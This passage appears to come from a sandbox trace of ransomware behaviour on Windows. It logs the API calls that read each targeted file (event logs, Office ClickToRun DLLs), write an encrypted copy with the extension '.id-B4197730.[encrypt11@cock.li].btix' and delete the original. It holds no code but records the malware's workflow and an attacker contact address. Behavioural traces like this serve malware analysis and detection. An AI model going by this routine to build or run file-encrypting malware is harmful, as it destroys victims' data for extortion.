(lpString=".jpg") returned 4 [0052.737] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0052.738] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0052.738] lstrlenW (lpString="System.evtx") returned 11 [0052.738] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0052.746] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=1118208) returned 1 [0052.746] CloseHandle (hObject=0x3a4) returned 1 [0052.746] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 0x20 [0052.746] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\system.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.746] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0052.746] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.746] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.747] CreateFileW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\system.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0052.747] GetLastError () returned 0x0 [0052.747] ReadFile (in: hFile=0x3a4, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0052.889] WriteFile (in: hFile=0x370, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0052.903] ReadFile (in: hFile=0x3a4, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x11010, lpOverlapped=0x0) returned 1 [0054.713] WriteFile (in: hFile=0x370, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x11020, lpOverlapped=0x0) returned 1 [0054.928] ReadFile (in: hFile=0x3a4, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0054.928] WriteFile (in: hFile=0x370, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xea, lpOverlapped=0x0) returned 1 [0054.929] SetEndOfFile (hFile=0x370) returned 1 [0054.929] CloseHandle (hObject=0x370) returned 1 [0054.964] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.964] SetEndOfFile (hFile=0x3a4) returned 1 [0054.966] CloseHandle (hObject=0x3a4) returned 1 [0054.994] SetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0054.995] DeleteFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 1 [0054.995] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0054.995] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0054.995] lstrlenW (lpString=".doc") returned 4 [0054.995] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0054.995] lstrlenW (lpString=".docx") returned 5 [0054.995] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0054.995] lstrlenW (lpString=".pdf") returned 4 [0054.995] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0054.995] lstrlenW (lpString=".xls") returned 4 [0054.995] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0054.995] lstrlenW (lpString=".xlsx") returned 5 [0054.995] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0054.995] lstrlenW (lpString=".ppt") returned 4 [0054.995] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0054.995] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0054.995] lstrlenW (lpString=".zip") returned 4 [0054.995] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0054.995] lstrlenW (lpString=".rar") returned 4 [0054.995] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0054.995] lstrlenW (lpString=".bz2") returned 4 [0054.995] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0054.995] lstrlenW (lpString=".7z") returned 3 [0054.995] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0054.995] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0054.995] lstrlenW (lpString=".dbf") returned 4 [0054.995] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0054.995] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0054.995] lstrlenW (lpString=".1cd") returned 4 [0054.996] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0054.996] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0054.996] lstrlenW (lpString=".jpg") returned 4 [0054.996] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0054.996] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0054.996] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0054.996] lstrlenW (lpString=".doc") returned 4 [0054.996] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0054.996] lstrlenW (lpString=".docx") returned 5 [0054.996] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0054.996] lstrlenW (lpString=".pdf") returned 4 [0054.996] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0054.996] lstrlenW (lpString=".xls") returned 4 [0054.996] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0054.996] lstrlenW (lpString=".xlsx") returned 5 [0054.996] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0054.996] lstrlenW (lpString=".ppt") returned 4 [0054.996] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0054.996] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0054.997] lstrlenW (lpString=".zip") returned 4 [0054.997] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0054.997] lstrlenW (lpString=".rar") returned 4 [0054.997] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0054.997] lstrlenW (lpString=".bz2") returned 4 [0054.997] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0054.997] lstrlenW (lpString=".7z") returned 3 [0054.997] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0054.997] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0054.997] lstrlenW (lpString=".dbf") returned 4 [0054.997] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0054.997] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0054.997] lstrlenW (lpString=".1cd") returned 4 [0054.997] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0054.997] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0054.997] lstrlenW (lpString=".jpg") returned 4 [0054.997] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0054.997] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0054.997] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36 [0054.997] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0054.998] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=20672) returned 1 [0054.998] CloseHandle (hObject=0x320) returned 1 [0054.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x20 [0054.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0054.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0054.998] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.998] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0054.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0054.998] GetLastError () returned 0x0 [0054.998] ReadFile (in: hFile=0x320, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x50c0, lpOverlapped=0x0) returned 1 [0055.004] WriteFile (in: hFile=0x3a4, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x50d0, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x50d0, lpOverlapped=0x0) returned 1 [0055.005] ReadFile (in: hFile=0x320, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.005] WriteFile (in: hFile=0x3a4, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x11c, lpOverlapped=0x0) returned 1 [0055.005] SetEndOfFile (hFile=0x3a4) returned 1 [0055.005] CloseHandle (hObject=0x3a4) returned 1 [0055.006] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.006] SetEndOfFile (hFile=0x320) returned 1 [0055.007] CloseHandle (hObject=0x320) returned 1 [0055.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0055.007] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 1 [0055.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0055.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0055.008] lstrlenW (lpString=".doc") returned 4 [0055.008] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.008] lstrlenW (lpString=".docx") returned 5 [0055.008] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0055.008] lstrlenW (lpString=".pdf") returned 4 [0055.008] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.008] lstrlenW (lpString=".xls") returned 4 [0055.008] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.008] lstrlenW (lpString=".xlsx") returned 5 [0055.008] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.008] lstrlenW (lpString=".ppt") returned 4 [0055.008] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0055.008] lstrlenW (lpString=".zip") returned 4 [0055.008] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.008] lstrlenW (lpString=".rar") returned 4 [0055.008] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.008] lstrlenW (lpString=".bz2") returned 4 [0055.008] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.008] lstrlenW (lpString=".7z") returned 3 [0055.008] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0055.008] lstrlenW (lpString=".dbf") returned 4 [0055.008] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0055.009] lstrlenW (lpString=".1cd") returned 4 [0055.009] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0055.009] lstrlenW (lpString=".jpg") returned 4 [0055.009] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0055.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0055.009] lstrlenW (lpString=".doc") returned 4 [0055.009] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.009] lstrlenW (lpString=".docx") returned 5 [0055.009] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0055.009] lstrlenW (lpString=".pdf") returned 4 [0055.009] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.009] lstrlenW (lpString=".xls") returned 4 [0055.009] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.009] lstrlenW (lpString=".xlsx") returned 5 [0055.009] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.009] lstrlenW (lpString=".ppt") returned 4 [0055.009] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0055.009] lstrlenW (lpString=".zip") returned 4 [0055.009] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.009] lstrlenW (lpString=".rar") returned 4 [0055.009] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.009] lstrlenW (lpString=".bz2") returned 4 [0055.009] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.009] lstrlenW (lpString=".7z") returned 3 [0055.009] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0055.009] lstrlenW (lpString=".dbf") returned 4 [0055.009] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.009] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0055.009] lstrlenW (lpString=".1cd") returned 4 [0055.009] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.010] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0055.010] lstrlenW (lpString=".jpg") returned 4 [0055.010] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.010] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0055.010] lstrlenW (lpString="api-ms-win-crt-heap-l1-1-0.dll") returned 30 [0055.010] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0055.010] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=19648) returned 1 [0055.010] CloseHandle (hObject=0x320) returned 1 [0055.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x20 [0055.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0055.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0055.011] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.011] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0055.011] GetLastError () returned 0x0 [0055.011] ReadFile (in: hFile=0x320, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0055.037] WriteFile (in: hFile=0x3a4, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0055.038] ReadFile (in: hFile=0x320, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0055.038] WriteFile (in: hFile=0x3a4, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x110, lpOverlapped=0x0) returned 1 [0055.038] SetEndOfFile (hFile=0x3a4) returned 1 [0055.039] CloseHandle (hObject=0x3a4) returned 1 [0055.039] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0055.039] SetEndOfFile (hFile=0x320) returned 1 [0055.040] CloseHandle (hObject=0x320) returned 1 [0055.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0055.041] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 1 [0055.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0055.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0055.041] lstrlenW (lpString=".doc") returned 4 [0055.041] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.041] lstrlenW (lpString=".docx") returned 5 [0055.041] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0055.041] lstrlenW (lpString=".pdf") returned 4 [0055.041] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.041] lstrlenW (lpString=".xls") returned 4 [0055.041] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.041] lstrlenW (lpString=".xlsx") returned 5 [0055.041] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.041] lstrlenW (lpString=".ppt") returned 4 [0055.495] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0055.495] lstrlenW (lpString=".zip") returned 4 [0055.495] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.495] lstrlenW (lpString=".rar") returned 4 [0055.495] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.495] lstrlenW (lpString=".bz2") returned 4 [0055.495] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.495] lstrlenW (lpString=".7z") returned 3 [0055.495] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0055.495] lstrlenW (lpString=".dbf") returned 4 [0055.495] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0055.495] lstrlenW (lpString=".1cd") returned 4 [0055.495] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0055.495] lstrlenW (lpString=".jpg") returned 4 [0055.495] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0055.495] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0055.495] lstrlenW (lpString=".doc") returned 4 [0055.495] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0055.495] lstrlenW (lpString=".docx") returned 5 [0055.495] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0055.495] lstrlenW (lpString=".pdf") returned 4 [0055.495] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0055.495] lstrlenW (lpString=".xls") returned 4 [0055.495] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0055.495] lstrlenW (lpString=".xlsx") returned 5 [0055.496] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0055.496] lstrlenW (lpString=".ppt") returned 4 [0055.496] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0055.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0055.496] lstrlenW (lpString=".zip") returned 4 [0055.496] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0055.496] lstrlenW (lpString=".rar") returned 4 [0055.496] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0055.496] lstrlenW (lpString=".bz2") returned 4 [0055.496] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0055.496] lstrlenW (lpString=".7z") returned 3 [0055.496] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0055.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0055.496] lstrlenW (lpString=".dbf") returned 4 [0055.496] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0055.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0055.496] lstrlenW (lpString=".1cd") returned 4 [0055.496] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0055.496] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0055.496] lstrlenW (lpString=".jpg") returned 4 [0055.496] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0055.496] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0055.496] lstrlenW (lpString="AppvIsvSubsystems64.dll") returned 23 [0055.496] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 